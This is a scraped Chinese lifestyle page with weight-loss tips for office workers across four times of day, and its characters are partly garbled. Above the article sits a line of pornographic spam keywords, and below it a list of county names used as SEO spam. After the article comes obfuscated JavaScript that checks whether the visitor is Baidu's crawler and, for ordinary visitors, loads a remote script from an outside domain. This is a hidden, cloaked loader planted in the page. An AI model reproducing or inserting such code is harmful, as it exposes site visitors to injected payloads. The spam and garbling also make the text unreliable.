亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 減肥 > 減肥方法 > 正文

辦公室白領(lǐng)四個(gè)時(shí)段瘦身法

2017-03-12 08:16:55  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):長(zhǎng)期坐在電腦前,缺乏足夠的運(yùn)動(dòng),再加上飯后沒(méi)有消耗熱量,導(dǎo)致現(xiàn)在很多的白領(lǐng)都有了小肚腩,很多白領(lǐng)都在為此苦惱。那么白領(lǐng)如何瘦身減肥呢?

360常識(shí)網(wǎng)養(yǎng)生在線今天將給各位白領(lǐng)們提供一套完整的瘦身法,讓你在任何場(chǎng)合時(shí)時(shí)刻刻都在減體重。

一、上班前

1、早睡早起,幫助身體脂肪燃燒:永遠(yuǎn)記得“賴床等于留住脂肪”,所以還是乖乖做個(gè)早起早睡的美女吧。

2、好好享用早餐:營(yíng)養(yǎng)專(zhuān)家們建議,早餐是一天活力的來(lái)源,要好好吃頓早餐,才能讓你有精力做好一天的瘦身大計(jì)哦。

3、一份低脂營(yíng)養(yǎng)早餐:一份低脂營(yíng)養(yǎng)早餐其實(shí)很容易做的,只要掌握“兩份主食、兩份奶蛋類(lèi)、蔬菜水果盡量吃”的原則就行了。

4、小運(yùn)動(dòng)大幫助:出門(mén)以后,最好別立刻搭車(chē),可以多走3站地然后再去坐車(chē)或乘地鐵,爭(zhēng)取每個(gè)運(yùn)動(dòng)的良機(jī)。

二、在公司

1、向電梯說(shuō)再見(jiàn):進(jìn)辦公室不要搭電梯,多走幾層樓也可以增強(qiáng)心肺功能,鍛煉腿部肌肉并修飾腿形。

2、穴道按摩:辦公室的空間雖然不大,但是若能善加利用一些小道具,針對(duì)每個(gè)瘦身穴道偶爾按壓,也可幫助減肥。

3、多走動(dòng):利用一些可以離開(kāi)座位的片刻,如影印或收送傳真等機(jī)會(huì)多走動(dòng)走動(dòng)。

4、坐著健身:在座位上也可以運(yùn)動(dòng),做個(gè)椅子伸展操、轉(zhuǎn)轉(zhuǎn)頭,甚至可以。

三、下班后

1、讓運(yùn)動(dòng)成為一種休閑:晚上也是運(yùn)動(dòng)的好時(shí)間,可以彌補(bǔ)白天運(yùn)動(dòng)量不足的部分,例如晚餐后散步40分鐘,出門(mén)去遛遛寵物,或者一邊看電視一邊做跑步機(jī)等。

2、泡泡減肥澡:早就說(shuō)過(guò)泡澡有利于減肥,不僅可以放松緊張了一天的身體和神經(jīng),也能促進(jìn)血液循環(huán),幫助減肥。

3、睡前運(yùn)動(dòng)10分鐘:如練瑜珈或身體柔軟操,既能達(dá)到很好的瘦身效果,又是放松舒緩的好方法。

4、按時(shí)就寢:早點(diǎn)入睡除了可以讓你第二天精力十足外,更重要的是可以錯(cuò)過(guò)夜宵的時(shí)間,避免夜里吃進(jìn)去過(guò)多的食物而無(wú)法消化。

四、居家時(shí)

1、吃飽了再出發(fā):出門(mén)逛街之前,最好將胃填飽了再走。否則餓著肚子到了商場(chǎng),必定讓你直奔美食廣場(chǎng)那一層。

2、走路購(gòu)物比較好:前往超市和商場(chǎng)時(shí),最好能選擇走路而避免搭車(chē)。而且在走路時(shí)別忘了抬頭、挺胸、收腹、提臀,跨大步,擺動(dòng)手臂,來(lái)趁機(jī)消耗脂肪。

3、漂亮衣服增加決心:看到穿著流行服裝的模特們的身材,可以大大刺激你的“減肥決心”,暗暗告訴自己,我一定要瘦到可以穿進(jìn)那條lee的新款牛仔褲為止。

4、創(chuàng)意做家務(wù):做家務(wù)時(shí)可以發(fā)揮些創(chuàng)意,把你在健身房或從雜志上看到的運(yùn)動(dòng)動(dòng)作,套入你在家事動(dòng)作中,例如動(dòng)手擦桌子時(shí)可以一邊甩甩腿,洗腕時(shí)可以踮起腳尖鍛煉腿部肌肉。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
奉节县| 昂仁县| 江永县| 舟曲县| 龙游县| 三穗县| 同德县| 阿拉善左旗| 东港市| 十堰市| 济源市| 琼海市| 应城市| 眉山市| 宜君县| 富平县| 毕节市| 海口市| 庐江县| 桓台县| 蒙阴县| 寿宁县| 大庆市| 永吉县| 玉田县| 威宁| 大荔县| 江津市| 贵港市| 湘阴县| 泸溪县| 德兴市| 阿坝| 嵩明县| 冷水江市| 九台市| 乌苏市| 枣阳市| 安国市| 巴彦淖尔市| 富锦市|